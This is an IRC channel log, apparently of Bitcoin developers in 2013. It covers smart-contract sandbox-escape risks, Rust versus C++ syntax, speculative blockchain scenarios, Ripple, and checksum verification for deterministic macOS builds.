08:02 < adam3us> about ethereum i talked to vitalik about it, not sure i mentioned this part or not, that while fees is a solution to the halting problem in a Turing Complete complete script language; however the history of java byte code interpreter sandbox escapes could give it a massive, repeating, binary failure, where each sandbox escape results in theft of all coins (and maybe bitcoins)
08:15 < adam3us> aka there is a reason bitcoin script is functional, no iterators/recursion, and most of even the stylized/simplified/cut-down script language is itself disabled. ripple dont seem to appreciate this risk and their draft script language looks turing complete. in open transactions, chris showed me he has pluggable script language interpreter hooks and jscript,
lua etc but thats just code because he likes generalized clean code.
08:54 < andytoshi-away> justanotheruser: logs are at http://download.wpsoftware.net/bitcoin/wizards/ ... if you msg andytoshi-logbot with 'help' i think it'll tell you
08:55 < andytoshi-away> sipa: re 'someone should write a "what to think about before making an alt" document', i'm planning to write something like that this weekend
08:58 < TD> adam3us: you wouldn't try to steal all coins simultaneously, that'd be dumb
08:59 < TD> adam3us: it'd just be treated as an outage
08:59 < TD> you'd want to steal 1% or something like that ...
09:00 < adam3us> TD: if these coins are pegged bitcoins, you'd want to steal as many as possible. it depends on the reaction mode to stemming the loss. if its like the many exchange/processor thefts like say sheep market place (the largest?) because of the irrevocability maybe you may not even care if u empty the alt chain in one go on the way
09:01 < adam3us> TD: what re people going to do? issue and deploy an emergency bitcoin patch to reject this specific side chains re-conversion? that sounds centralized and fed policy like
09:01 < TD> we were talking about ethereum i thought?
09:01 < adam3us> TD: but you may well be right for detail reasons that the optimal exfiltration
09:02 < adam3us> TD: oh yeah sorry :D
09:03 < adam3us> TD: i guess that depends on the market cap and the liquidity and intent of the sabateur. why are they killing the alt. to make money or because they want to do a 'scorched earth' to borrow a petertodd'ism to prove a point
09:04 < adam3us> TD: lot of people might be quite upset and litigious about it if the market cap was like non-trivial at the time. dangerous thing to do possibly even via Tor.
09:04 < adam3us> (sorry i was still in pegged side-chain mode so misinterpreted your observation)
09:04 < TD> anyway, most of the java sandbox escapes especially these days are not issues with the bytecode verifier but rather with the huge libraries or native code that they call out to
09:04 < TD> presumably ethereum would not have anything in the way of libraries or big surface area APIs
09:07 < adam3us> TD: interesting point, yes i never went looking at the root cause of the repeated sandbox failures, but if thts accurate the risk might be a bit lower. but anyway i guess you can say its a brittle failure mode and more risky than bitcoin as a value store as a result. not only could a big bug collapse value like, but some worse things i think, like taking
control simultaneously of all online nodes.
09:07 < TD> sure
09:07 < TD> code execution is always tricky
09:08 < TD> ironically, i suspect the JVM may end up being one of the safest sandboxes around. given how massively and repeatedly it's been attacked by hardened hackers compared to most sandboxes
09:08 < adam3us> (could happen to btc also, but higher risk as their code is basically an abstract interpreted asm with memory and iteration, pointers. very flexible. more like executing x86 interpreter)
09:08 < TD> if they keep plugging away at it for enough time, and if you restrict the API surface area, it could end up being kind of robust
09:10 < adam3us> TD: yes. but it seems in some ways that btc is surfacing whole new levels of code assurance. if there's a $1bil reward sitting on the table for entire system value exfiltration, more resources nd resourceful people get in, or lose their ethical behavior $ limit filter, seemingly empirically many otherwise trustworthy people have such limits)
09:11 < adam3us> just to say maybe its more interesting to sandbox escape ethereum (if btc was using that model right now) than sandbox vm escapes. it only takes one.
09:11 < TD> yeah. it makes me wonder if one day it'll simply become impossible to make any changes to the code at all because the legal/financial risk of making a mistake is so high
09:11 < TD> either that or every bitcoin developer will be anonymous and work from behind Tor
09:11 < adam3us> TD: yes i think so
09:11 < TD> neither outcome seems desirable
09:11 < TD> still i guess banks manage, sorta, somehow
09:12 < adam3us> TD: the Tor thing is interesting. i think people who get into exchanges and btc biz dont realize the risk they are putting themselves, their family etc at. if they get enough value inside a server, they have become like a bank. at the high end what do we need like thebunker.net or fortress with servers in it. seems like banks or physcal security need
to be part of the picture with multsig eventually
09:14 < adam3us> TD: yes, that seems part of the genuine value of banks, they have structured governance (cross checks) physical security, personnel vetting, alarms, perhaps monitored security at managers houses. they had to think about it all and manage it. that is actual value.
09:14 < TD> probably. one reason why i'd never run an exchange or bitbank. however, exchanges are needed, so .... someone has to take that risk. w.r.t the rest of it, well, it's MIT licensed and disclaims all responsibility for everything
09:14 < TD> though i imagine some people will eventually ignore that and try their luck in courts anyway
09:14 < adam3us> TD: what u mean sue for losses due to code bugs?
09:15 < TD> well, or for any other kind of excuse. or patent lawsuits or whatever.
09:15 < TD> i mean as the amount of value goes up, anything could happen
09:16 < adam3us> TD: was vaguely wondering if one could retain unseizability property while protecting your self or your exchange or your processor (some server or equipment or paper under the service operators and employees control) from physical duress, by multisig the whole thing with a physical security provider of one part of the multisig. the RA aspect of the bank
multisig is typically weak also. tho they do a lot of risk management
09:17 < WOODMAN> morning warriors
09:17 < TD> they're also insured
09:18 < adam3us> TD: like cheque sigs are not verified under
30k i hear. but if u wire
20k you can do that with some lame, malware attackable security. exactly insurance and risk management.
09:18 < WOODMAN> anybody been around on this technology since early days, i have a decent question if its ok?
09:18 < WOODMAN> brb
09:19 < andytoshi-away> WOODMAN: usually, try #bitcoin-dev first
09:19 < adam3us> TD: but i think what backs it all up is the revocability, usually when things go wrong they can undo the tx, they have ID, so they can recover even withdrawn funds, and insurance covers the rest
09:20 < adam3us> TD: btc lacks that. and if we introduce it (certainly can do revocable, easy using irrevocable + multisig escrow) then the disput resolution costs come back in and btc tx costs same as credit card. so we cant win. the remaining new avenue is to some smart contract magic
09:20 < WOODMAN> what is this site?
09:20 < TD> yep. it might turn out in the long run that irreversible transactions are simply something humanity can't handle, when the amounts of value being handled get too high
09:20 < WOODMAN> https://bitcointalk.org/index.php?topic=11606.0
09:20 < TD> (too hard to build secure software systems)
09:20 < adam3us> TD: was ever thus. ecash (irrevocable fast settlement) and slow cash just dont interface together well
09:21 < WOODMAN> i believe i bought bitcoin in 09
09:21 < adam3us> TD: yes. maybe that is an answer. large payments typically can tolerate being slow, and the parties having recourse enough to tolerate the revocability.
09:21 < WOODMAN> i never set up a client....bought from someone who put it on a USB and sent it to me....me never wanting to store on computer cause of hacking and never planned on selling, as there was no market at that time
09:21 < andytoshi-away> WOODMAN: #bitcoin please
09:21 < WOODMAN> i found this link and it discusses that you can put bitcoins on a USB
09:22 < WOODMAN> ah come on andy
09:22 < andytoshi-away> though i did enjoy the second post saying 'screw that, just use mybitcoin' :)
09:22 < WOODMAN> be a sport
09:22 < sipa> WOODMAN: #bitcoin, now
09:22 < WOODMAN> ahora!
09:22 < WOODMAN> im banned from there
09:22 < sipa> (you're very welcome to follow the discussion here, or contribute, but basic questions are completely off topic)
09:22 < TD> or post to bitcointalk
09:23 < WOODMAN> too many indians , not enough chiefs
09:23 < WOODMAN> this could be problem with open source
09:24 < WOODMAN> got another bitcoin IRC where they respect free speech?
09:24 < WOODMAN> or is this all funded by soros?
16:31 < HM> it's not a bad idea
16:32 < gmaxwell> ... it rally has absolutely nothing to do with the json rpc code.
16:33 < HM> it does lol
16:33 < gmaxwell> Why are you saying that?
16:34 < HM> because it reads json right off the 0mq socket
16:34 < HM> passes calls to the existing json code
16:34 < HM> gets replies, and reps it back
16:34 < gmaxwell> Are you being a fool just to irritate me?
16:35 < HM> https://github.com/bitcoin/bitcoin/pull/2415/files
16:35 < HM> https://github.com/bitcoin/bitcoin/pull/2415/files#L5L944
16:35 < HM> notice it makes existing JSON RPC functions non-static
16:35 < HM> https://github.com/bitcoin/bitcoin/pull/2415/files#L3R322 <-- reads and writes json off the 0mq socket here
16:35 < HM> it's just an observation, i'm not being critical
16:36 < HM> it's the smart thing to do when you have an existing rpc implementation
16:37 < gmaxwell> okay, I see the source of the confusion here.
16:37 < gmaxwell> Since I commented on it the guy added a bunch of extra commits that do wrap the json rpc stuff.
16:37 < gmaxwell> You have my apology.
16:38 < gmaxwell> The original code did not do that.
16:38 < HM> tis ok, review a lot of stuff
16:38 < HM> you review*
16:38 < gmaxwell> I don't know that I like that.
16:38 < gmaxwell> will have to contemplate.
16:47 < HM> meh, I'm sure RPC isn't a priority
16:49 < HM> sipa mentioned splitting it up in to components, e.g. wallet stuff and transaction stuff
--- Log closed Sun Apr 07 00:00:15 2013
--- Log opened Sun Apr 07 00:00:15 2013
--- Log closed Mon Apr 08 00:00:16 2013
--- Log opened Mon Apr 08 00:00:16 2013
15:06 < gmaxwell> HM: I was surprised to see you complain about rust's syntax. I guess ocaml and haskell (and C++, in different ways) have distorted a bit of what "bad syntax" is, but a major goal for rust is making advanced language functionality more accessible to programmers by avoiding highly irregular and cryptic syntax.
15:06 < gmaxwell> HM: the rust devs spend a lot of time thinking about discoverability and obviousness of the syntax. .... if you've got some specific syntax nits, and they're not just personal preference but things you've found will actually bite people, you should go bug the rust lists, because they can still fix syntax nits.
15:23 < HM> the pointer types are insane
15:23 < HM> and it contains unnecessary terseness
15:23 < HM> i don't believe the numbers of characters i can type a second is the bottleneck of programmer productivity
15:26 < HM> in C++ you have weak_ptr and shared_ptr and unique_ptr, which are verbose, but at least you can't make one moments brain fart and use the wrong pointer type
15:27 < HM> example
15:27 < HM> for [1, 2, 3].each |item| { ... }
15:28 < HM> ick
15:28 < HM> anyway, I reserve my right to find it horrid
15:31 < HM> I read up on Rust a few months back
15:31 < HM> right now I can't even remember which pointer is which
15:32 < HM> let y = @*x; <-- i have no idea what this does
15:40 < HM> C++ also has that for loop syntax btw
15:40 < HM> for (auto i: {1,2,3,4,5}) {
15:42 < HM> auto can be replaced by int, double, or any type implicity convertible from an arithmetic type
15:44 < HM> you could probably implement all of Rusts garbage collection semantics by replacing weak, shared and unique ptrs with types that used your garbage collector
15:52 < gmaxwell> You can't generally do GC in C++ because you can't reliably keep pointers from 'escaping' the box. I know it works in theory, but it doesn't work in practice as confirmed by many parties.
15:53 < gmaxwell> HM: Most of the time using the wrong pointer type in rust will result in something that fails to compile and gives you a useful error.
15:53 < gmaxwell> I dunno if thats enough, indeed.
15:53 < HM> because you can always call operator-> on a smart pointer and pull out the raw pointer?
15:54 < gmaxwell> HM: yes, and because actually using them results in you leaving around pointers in local memory, inside other objects, etc.
15:55 < HM> sure, but raw pointers were inherited from C
15:55 < HM> you don't have to use them
15:56 < HM> Rust has the nice luxury that its concurrency and garbage collection can be designed to work well together
15:56 < HM> in C++ you have neither as part of the standard library or language spec
15:56 < gmaxwell> You can try to legislate against it, but even when you control the codebase this observably doesn't work well (there are reasons why it must be violated, or why container objects violate it while you're not looking) - though I'm the wrong person to be debating that.
15:56 < HM> (well except std::thread)
15:57 < gmaxwell> The rust people would argue (with plenty of data to back it up), that in C++ you're basically encouraged to do the 'wrong' thing at all turns due to inertial, legacy, and complications of the right thing.
15:57 < gmaxwell> inertia*
15:57 * HM shrugs
15:57 < HM> i think it's more that you can, and people are lazy
15:57 < gmaxwell> The idea is that rust tries to make it so that when you're lazy you do the right thing.
15:58 < gmaxwell> I dunno if they'll be successful, but thats very much the goal.
15:58 < HM> I like the premise of Rust
15:58 < HM> it's the closest thing out there atm to actually being a new C
15:58 < HM> or C++
15:59 < gmaxwell> And they make the compiler more able to detect the wrong things, facilitating that in the language when they can, and they make you explictly request the wrong behavior (e.g. it takes more work)
15:59 < HM> yep
16:00 < HM> I spent like 2 days this week gone just staring at C++ errors containing type names longer than this conversation
16:00 < HM> i hate it
16:01 < HM> but it's not such a burden to use words instead of symbols all over the syntax map
16:01 < gmaxwell> yea, and partly that comes from really deeply core features of C++ being implemented not as part of the core language but via templates.
16:01 < gmaxwell> You say this, but java's verbosity is a major reason people oppose it. For things which are components a programmer should be using daily it's not clear that its a good thing.
16:02 < HM> sure
16:02 < HM> but const, volatile, shared, "local", would have been good short readable alternatives to ~, @, &, *
16:03 < HM> in a new language, you don't have to worry about squeezing things in to reserved names and syntax constructs
16:03 < gmaxwell> e.g. if you can't keep the pointer types in your head clearly mapped to their symbols you're going to be making a lot of other (perhaps non-detectable errors). There is a right thing to make sugar and a wrong thing. Keep in mind that they're also at least trying to have some appeal to people who believe that specifying types is a huge burden programers
shouldn't have to deal with.
16:03 < HM> get back to me when you have a highly parenthesised line of code containing half a dozen @, ~ and &s
16:04 < HM> another example
16:04 < HM> C++11 got hammered for using an ugly lambda syntax
16:05 < HM> ...Rust is using the same syntax for all functions
16:05 < HM> fn recursive_factorial(n: int) -> int { }
16:05 < HM> C++11 lambda:
16:05 < HM> [](int n) -> int {}
16:05 < HM> almost the same
16:06 < HM> I think they've made a tonne of really bad choices
16:07 < HM> at least C++ had the excuse of having to maintain some semblence of backward compatibility with 30 years of C and C++ source code
16:08 < HM> and what about this
16:08 < HM> `fmt!` is a macro that statically verifies a format string.
16:08 < HM> println(fmt!("%d", *item));
16:08 < HM> eesh
16:09 < HM> Boost.Format got formatted strings right
16:09 < HM> don't make the programmer encode type information twice
16:09 < HM> %d = double
16:09 < HM> the compiler already knows the type of item
16:09 < gmaxwell> the C++ lambdas are panned because the syntax is complete moonlanguage especially when its anonymous. Seriously you're complaining that the prototype puts the return type on the right?
16:10 < HM> no, i'm questing why they changed it from C or C++ at all.
16:10 < HM> questioning
16:11 < HM> and kept a lot of other bad garbage around
16:11 < gmaxwell> because the C style leads to severe visual (and in C++ parsing) ambiguity.
16:11 < HM> just because it's familiar
16:12 < HM> what about other weirdness
16:12 < HM> let i: int = 50;
16:13 < HM> let i = 100u;
16:13 < HM> let i = 100i32;
16:13 < HM> one minute the type info is on the left, the next it's on the right
16:13 < HM> ok, so that's copying Cs integer literals
16:13 < gmaxwell> In the latter case the type of i is inferred by the data its being assiged to.
16:13 < midnightmagic> This week, on language wars.. some guys discuss the relative merits of C++ vs. Rust, absent twkm!
16:14 < HM> but in C++ you can do "auto i = 50ul;"
16:14 < HM> or unsigned long i = 50;
16:14 < midnightmagic> HM: May I enquire as to where you were originally complaining about Rust syntax?
16:14 < HM> in -dev
16:14 < gmaxwell> HM: typing litterals is something that can't be avoided... but the actual language feature you're complaining about there is the inference. E.g. let i = foo(); works and gets the type from foo's return.
16:14 < midnightmagic> oh
16:15 < HM> let y: uint = x as uint;
16:15 < HM> ^ wtf?
16:15 < gmaxwell> yes, thats a cast.
16:16 < gmaxwell> same as float x = (float)double_returning_function(); so that static analysis tools know you mean to do it and won't whine about the narrowing.
16:17 < HM> auto x = (float) double_ret_func();
16:17 < HM> only typed the type i want once
16:17 < HM> the Rust code has 2 operators/keywords and you type it twice
16:17 < gmaxwell> HM: you might well be completely right, what do I know. Smarter people than I create this stuff... C++ is just an endless _sea_ of total wtfs. I don't assume the C++ designers were morons, though it often seems so
I assume language design is subtle and hard.
16:18 < HM> it is
16:18 < HM> and C++ is disgusting
16:18 < HM> but I think Rust should have done better given it's starting fresh
23:00 < petertodd> systems designed for that assumption are far more robust when something goes wrong
23:00 < amiller> eh well i'm intrigued in either case.... in that case the point to make is that this is possible
23:01 < amiller> it's easy to provide a high resolution realtime _lower-bound_ for proof of work
23:01 < amiller> whether it's good or bad to do so... i don't now
23:01 < petertodd> well keep in mind that the fast internet connections we take for granted between nodes may not always be possible
23:02 < petertodd> bitcoin users may be forced to tor, and worse, tor can certainely get more unreliable/need totally different alternatives
23:02 < amiller> yeah no kidding.
23:02 < amiller> to be clear i live in fantazy wizard land where about half the bitcoin mining power is on mars
23:03 < petertodd> I guess part of your fantasy is FTL comms... :P
23:03 < amiller> no i'm hard sci-fi, special relativity is the crucial limitation that makes things weird
23:04 < amiller> and ascii bernanke was put in the blockchain as a warning against relying on mysterious leaders correctly setting global parameters...
23:04 < amiller> anyway yeah the normal block rate determines like the maximum coarseness bound for proof of work samples
23:04 < petertodd> heh, well, so mars has a second chain I hope?
23:04 < amiller> hehehe well since you asked...
23:05 < amiller> mars and earth participate in a largest global coin that is shared between them
23:05 < amiller> but pretty much most of the volumes of their economies are conducted on smaller planet-localized chains
23:05 < petertodd> amiller: https://bitcointalk.org/index.php?topic=158756.msg1786069#msg1786069 (bottom)
23:05 < amiller> that run so much faster that it's hard for people on mars to get much profit from running on the earth local chain
23:06 < amiller> people tend to shift more of their mining power to the earth-mars joint chain when mars's orbit brings it closer to earth
23:06 < petertodd> LOL!
23:06 < amiller> and of course when it's solar eclipsed they might as well be isolated
23:06 < amiller> also sometimes a colony gets knocked out of orbit and no one knows whether we'll ever hear from them again
23:06 < amiller> in that case their chains diverge
23:07 < amiller> if they sometimes come back, eitehr there is a remarkably painful reorg process or they just agree to have separate histories
23:07 < amiller> s/sometimes/somehow
23:07 < petertodd> we're gonna need #bitcoin-scifi at this rate
23:07 < petertodd> and #bitcoin-steampunk
23:09 < amiller> i think blockchains will follow the 4 F's of evolutionary biology
23:09 < petertodd> ?
23:09 < amiller> feed, fight, flee, and mate
23:09 < petertodd> ah 'mate'
23:10 < amiller> i meant fuck
23:10 < petertodd> don't tell me you've been working on making merkle AST's have sex
23:13 < BlueMatt> petertodd: sadly, thats a fairly easy process....
23:13 < BlueMatt> well, mate maybe, sex not so much
23:13 < amiller> i think bitcoiners need simultaneously more imagination and more formal modeling, we've seen absolutely nothing yet as far as 'bitcoins final form' or w/e goes
23:13 < amiller> the value of the fantasies is when it puts theoretical limits / invariants in focus
23:14 < petertodd> changing bitcoin is so difficult Bitcoin may well be in it's final form...
23:14 < amiller> or to put it another way, bitcoin is an intergalactically brilliant idea :D
23:14 < amiller> i couldn't possibly disagree more
23:15 < amiller> the whole 21million coins thing is like a teenager getting a tattoo of his first girlfriend on his forehead
23:15 * BlueMatt picks the middle
23:15 < amiller> i guess i menat first girlfriend's name but w/e
23:15 < BlueMatt> actually, limited supply (pick your number, doesnt matter) is quite a brilliant solution
23:16 < BlueMatt> imnsho
23:16 < amiller> the BTC is limited, but the alternate cryptocurrencies with identical design are ridiculously abundant
23:16 < BlueMatt> and do you see them with long-term adoption?
23:17 < amiller> i see them as growing to the point that they threaten and reveal the emperor's nakedness of bitcoin's scarcity
23:17 < petertodd> cryptocurrencies have ridiculous first mover advantage issues
23:18 < amiller> how plausible is it that there will eventually be a consensus among 'newcomers' to dismiss that first mover advantage
23:18 < amiller> class of 2013 rules!@!!
23:18 < BlueMatt> let me rephrase, do you see bitcoin having gotten the kind of adoption it has (and thus providing more for the altcoins) without it?
23:19 < amiller> i think it was a good choice for the time
23:19 < amiller> everything else about bitcoin is so foreign and unexpected that making it like 'gold' which everyone has a shared understanding about helps.
23:19 < amiller> also i don't think this is a bad thing because i think bitcoin will happily gobble up new technology/ideas as they catch on
23:19 < amiller> as long as the first mover advantage is respected
23:20 < amiller> their value can always be grandfathered in
23:21 < amiller> i don't think bitcoins' current financial model comes even close to resembling what will come shortly after though
23:21 < amiller> ripple trust is more scarce than cryptogold
23:24 < amiller> ripple trust is also the only financial model with any sound theoretical footing, e.g. http://www.econ.wisc.edu/workshop/trust_and_social_collateral.pdf
23:27 < amiller> or to put it another way, _where we're going, we don't need gold_
23:29 < amiller> on the other hand we definitely _will_ still need a magic irreversible ledger in the sky
23:33 <@gmaxwell> amiller: nah, I think ripple is unlikely to survive. You'll at a minimum need to get a new name for it.
23:34 < amiller> yeah mb i meant "credit network trust"
23:34 < amiller> or social collateral
23:34 < amiller> social collateral is what i meant
23:34 <@gmaxwell> (as an aside ... forum users are now getting flooded with offers of $20-$30 for their accounts, because people want in on the XRP goldrush.)
23:34 < petertodd> gmaxwell: still?!
23:35 <@gmaxwell> I haven't checked where it is now, but the complaints from users only started about a week ago.
23:35 <@gmaxwell> but they might be about older messages.
23:35 < petertodd> well, regardless that's just silly
23:35 < amiller> i'm so pissed at ripple and ryan fugger selling out the trademark to idiots i can't see straight
23:36 < amiller> and yet i'm also glad they're doing so much work on their api and interface
23:36 < petertodd> yeah, it's a very nice name, hard to come up with good names
23:36 <@gmaxwell> perhaps I'll suggest to theymos that he make 100 old accounts appear out of SQL INSERT magic and go cash in. :P
23:36 < amiller> petertodd, beyond that it has like 10+ years of heritage
23:36 < petertodd> amiller: yup
23:36 < petertodd> amiller: the sort of heritage where it would have been totally ok to use the ripple name for even a few implementations
23:37 < petertodd> and actually get it right
23:37 < amiller> ripple.com has a shitty new video out that includes the phrase "80% is the threshold for mathematical certainty"
23:37 < amiller> i'm so mad and yet maybe it will be net positive, the work they're doing
23:37 < petertodd> oh dear
23:37 < amiller> i can actually withdraw bitcoins
23:37 < amiller> against my social trust lines.
23:38 < petertodd> honestly, ripple to me smells of engineers not getting how complex social trust relationships are
23:38 < amiller> via bitstamp the first operating "gateway" (where gateway means illegally operating msb)
23:38 < amiller> see the social trust part is the part that works.
23:38 < petertodd> although, I do want to see the fincen guidance on ripple, that could be hilarious
23:38 < amiller> they got all of that right
23:38 < amiller> the part that looks craziest and awfulest about them i think is actually the part that's fine.
23:39 < petertodd> heck no, the social trust bit is where it falls falt on its face because it's too complex and time consuming
23:39 < amiller> i couldn't disagree more
23:39 < petertodd> can it work? sure, but it's a lot of work
23:39 < petertodd> it's why I see ripple as making sense b2b, not p2p
23:39 < amiller> what they fail at is not understanding anything about byzantine/decentralized consensus
23:39 < amiller> not b2b
23:39 <@gmaxwell> amiller: yea, thats the annoying part to me, people are obsessing over the ripple-ish parts and ignoring the sketchy XRP stuff, the decenteralized part, etc.
23:39 < amiller> b2b is inherently about government regulation
23:39 < amiller> p2p also maybe is too much work
23:40 < amiller> what else would you call it c2c? community to community? tiny faction to tiny faction?
23:40 < petertodd> no, business to business just means betwen entities big enough that accounting is an accepted activity
23:40 <@gmaxwell> unfortunately the regulatory enviroment will make us P2P some stuff that really ought not to be P2P.
23:40 < petertodd> which if they're smart will be their goal...
23:41 < amiller> petertodd, you should read a little about the theory of self enforcing contracts and credit networks
23:41 < petertodd> man I gotta make some computational oracles happen
23:41 <@gmaxwell> And there is even some indicators that some regulatory bodies are actually willing to go "p2p? oh. Well we give up"
note fincen offering guidence which is different for decenteralized and non-decenteralized cryptocurrency! blew my mind.
23:41 < petertodd> amiller: that's my whole point, the fact that you need to read anything is why it's a bad idea for person to person
23:41 < amiller> gmaxwell, yeah omg!
23:41 < amiller> i shat myself when fincen provided a "definition" for "decentralized currency"
23:42 < petertodd> I'm not going to believe for a second the initial guidance actually means anything
23:42 <@gmaxwell> I think that the decenteralization actually takes away some of the distractions that makes regulatory meddling seem more justified.
23:42 < amiller> i think it's justified
22:13 < Ryan52> cfields: Yes, verified the MacOSX10.6.pkg in my downloaded .dmg matches.
22:14 < cfields> ok, great. So if anyone else want to try to build with gitian, i can provide that file to spare you the trouble
22:15 < warren> cfields: it's available to anyone with an apple dev account?
22:15 < Ryan52> cfields: I'm working my way through the rest of the list to verify, but will have to stop halfway through that and leave in a couple minutes. Can come back in ~5 hours to finish it, but I'll submit my work in progress.
22:15 < Ryan52> warren: if you're willing to download the 4GB .dmg it's a part of :)
22:15 < cfields> warren: yea, it's necessary to build. Anyone who's built bitcoin for osx has downloaded it at some point
22:15 < warren> 4GB!?
22:16 < cfields> warren: only one file is needed from it, and it's ~50mb iirc
22:16 < warren> cfields: so the gitian VM must be *much* larger, or you extract something from it?
22:16 < warren> ah
22:16 < cfields> which is why i'm offering to provide that file to anyone who needs it, rather than going through that mess
22:16 < warren> as long as Ryan52 verified it I want the 50MB file
22:16 < warren> I don't have much time
22:17 < Ryan52> Yep, I also recorded the sha256 of the .dmg it came from, in case somebody wants to compare notes on that, at some point.
22:18 < Ryan52> (tho as long as the 50MB file is fine, that doesn't make much difference)
22:18 < cfields> 2ad43957613642f29166dd452662a2adeecb8b69e01ca373f2cb47fbe42764fc xcode_3.2.6_and_ios_sdk_4.3.dmg
22:19 < warren> oh, I have that
22:19 < Ryan52> 2e666a972c616a35fed5790265fb5aa61ef74ea7c36e4e5a11261df00008822c Downloads/xcode_3.2.6_and_ios_sdk_4.3.dmg
22:19 < Ryan52> That is odd. I wonder if Apple embeds our developer ID, or if mounting it causes the checksum to change.
22:20 < warren> hmm, what macports has sha256sum?
22:20 < Ryan52> (mine is of a copy before mounting)
22:20 < warren> Ryan52: oh damn
22:20 < cfields> Ryan52: hmm, maybe. that's good to know
22:20 < cfields> so the dmg checksum is uninteresting, but the pkg counts.
22:21 < Ryan52> Right.
22:21 < warren> how do I get sha256sum on mac?
22:22 < cfields> shasum -a 256
22:23 < cfields> Ryan52: not sure what list you're verifying?
22:23 < warren> I wish macports gnupg worked. it fails to build.
22:27 < Ryan52> cfields: the list of checksums in your download script.
22:28 < cfields> Ryan52: i'm not sure what there is to verify manually?
22:30 < warren> cfields: as noted earlier, check against download sources of various linux distros and ports to be sure it's exactly the same as what everyone else is shipping. If something is very new and not widely distributed yet, then manually examining the diff from the old version.
22:31 < cfields> mm, ok
22:31 < warren> cfields: if we're giving people a download.sh and hard-coded checksums we better be damned sure we didn't accidentally pull in something bad
22:31 < cfields> fwiw, i reused the tarballs i already had laying around mostly
22:31 < warren> that's fine. another paranoid check is worthwhile.
22:31 < cfields> meaning: existing win32/linux dependencies
22:31 < warren> oh? I noticed you upgraded boost.
22:31 < warren> you upgraded nothing else?
22:31 < cfields> so before going to that trouble, might want to see if we're already using em
22:32 < cfields> for the more complicated ones i took the macports version
22:32 < warren> Ryan52: the checksums already in contrib/gitian-descriptors/*.yml have been verified by me and the entire litecoin team redundantly.
22:32 < cfields> so that i could more easily re-use their patches
22:32 < warren> cfields: did you upgrade qt?
22:32 < cfields> yes, x.y.5
22:33 < cfields> 4.8.5 i think?
22:33 < Ryan52> Here is my WIP "notebook": http://pastebin.ca/raw/2478933
22:33 < cfields> same reason. Notice it has about 30 patches in play. I didn't want to waste the macports work on that
22:33 * Ryan52 has to go do other things for some hours, but can continue looking at things in a long while
22:34 < warren> Ryan52: if we're satisfied with this, time to move on to the external ip review.
22:34 < warren> Ryan52: write a good report on what you reviewed, how and maybe debug print patches
22:34 < cfields> also worth noting that regardless of any investigation, these are the versions that have been in-play on osx due to their use in macports anyway
22:34 < warren> I did that myself but I might have missed something.
22:34 < Ryan52> I did try to see if there were gitian-descriptors already, but not many did have them.
22:35 < cfields> you guys are really getting a bit ahead here, anyway. First step is to have someone else verify that it builds and works, then discuss with the other devs whether the approach is reasonable for releases or not
22:36 < Ryan52> Hm, okay. So should I just document my verification of the MacOSX10.6.pkg then, since that's the only I was really "done" with? Where is best to do that?
22:37 < cfields> Ryan52: how bout commenting on my commit, so it's visible to anyone else looking over it?
22:38 < cfields> at github, that is
22:38 < Ryan52> cfields: Alright, wasn't sure if there would be a more relevant PR or BR, thanks!
22:39 < cfields> Ryan52: i'm still not quite sure how to handle it. need a recommendation from a veteran
22:39 < cfields> gavinandresen: ping
22:40 < warren> BR?
22:41 < Ryan52> warren: bug report, sorry I abbreviate too much sometimes :)
22:42 * Ryan52 isn't sure if that is proper github terminology, since it calls them issues, doesn't it?
22:45 < Ryan52> cfields: Here's your comment: https://github.com/theuni/bitcoin/commit/8a64fb98370ccc299d73111bbf97cdde23f681b1#commitcomment-4688671
22:45 < cfields> Ryan52: thanks
22:54 < warren> 9c5424e26fb10836ebfc602d61d5e4f984a9ce33d327877dd51405b08b977ac5 xcode_3.2.6_and_ios_sdk_4.3.dmg
22:54 < warren> looks like it does change it by mounting =(
22:55 < Ryan52> eh, as long as the pkg matches we have verification. that sure is annoying tho.
--- Log closed Mon Nov 25 00:00:06 2013
--- Log opened Mon Nov 25 00:00:06 2013
00:41 < gavinandresen> cfields: hmm?
00:42 < cfields> gavinandresen: I have a working POC for deterministic dmgs built from linux. I need a bit of group-think on how to proceed. Suggestions?
00:43 < cfields> POC in that the process is ugly. The result seems stable.
00:43 < gavinandresen> what makes the process ugly?
00:44 < cfields> gavinandresen: mainly patching the shit out of qt/boost to get it built cross-arch cross-platform
00:44 < gavinandresen> mmm. That IS ugly.
00:44 < gavinandresen> Hard to review, hard to be sure the patches are correct....
00:45 < cfields> gavinandresen: well, they're 99% taken from macports...
00:45 < cfields> so the argument really isn't valid, it's just been covered up until now
00:45 < cfields> so before going further, i'd like some kind of concensus on the goal. Namely: Should it aim to be useful for everyday building? Or aim for gitian release builds only?
00:46 < gavinandresen> release builds only, in my opinion. And maybe pull-tester builds.
00:46 < gavinandresen> I'm certainly not going to cross-compile in a linux VM to develop
00:46 < warren> I test gitian builds in dev all the time, personally.
00:46 < cfields> sure, pull-tester was the main target i had in mind
00:47 < warren> cfields: are all the static libs built into a deterministic deps tarball to use as an input?
00:47 < cfields> warren: not currently, but it'd be simple to get em to that point
00:48 < warren> cfields: that would help substantially
00:48 < gavinandresen> cfields: if it helps, I think it is time to drop 32-bit and OSX 10.5 support.
00:48 < gavinandresen> Maybe even drop 10.6 support.
00:49 < cfields> I'd be pretty opposed to dropping 10.6, but 10.5 and 32bit i would agree with
00:49 < cfields> but that's tangential to this discussion, neither of those added any complication to this process
00:49 < gavinandresen> ok
00:50 < gmaxwell> cfields: I am advised that 10.9 has been backported to * and was also advised that if we wanted anyone at apple to care we'd need to be on at least 10.7 and building in 64 bit.
00:50 < warren> * ?
00:51 < cfields> gavinandresen: i suppose i'm just looking for a bit of guidance as to how to proceed. It works, but it's ugly. If it's only for gitian, ugly doesn't really matter.
00:51 < cfields> I suppose I should re-define ugly. qt/boost are heavily patched either way. It's either macports or homebrew or us.
00:52 < cfields> so ugly means: a nasty build-script that either completes or fails gloriously
00:52 < gavinandresen>
and relies on a very specific version of boost/qt, I assume?
00:52 < cfields> well I used the versions that macports use, so we could borrow their patches
00:53 < gavinandresen> That doesn't sound horribly ugly
just document the process of upgrading.
00:54 < cfields> Sure. It's the same as upgrading any other gitian deps. Just on a bigger scale for osx.
00:55 < cfields> gavinandresen: this probably explains better than me rambling about it: https://github.com/theuni/bitcoin/commit/8a64fb98370ccc299d73111bbf97cdde23f681b1
00:55 < jgarzik> is there an OSX that works in VM?
00:55 < jgarzik> that would be useful
00:55 < cfields> jgarzik: none legally, so it tends to be avoided if it's done publicly
00:55 < cfields> (build-slave, pull-tester, etc)
00:56 < gavinandresen> cfields: can we avoid putting all those patches in our tree? Maybe run a script to fetch them from macports ? (with just the macports public key in our tree)
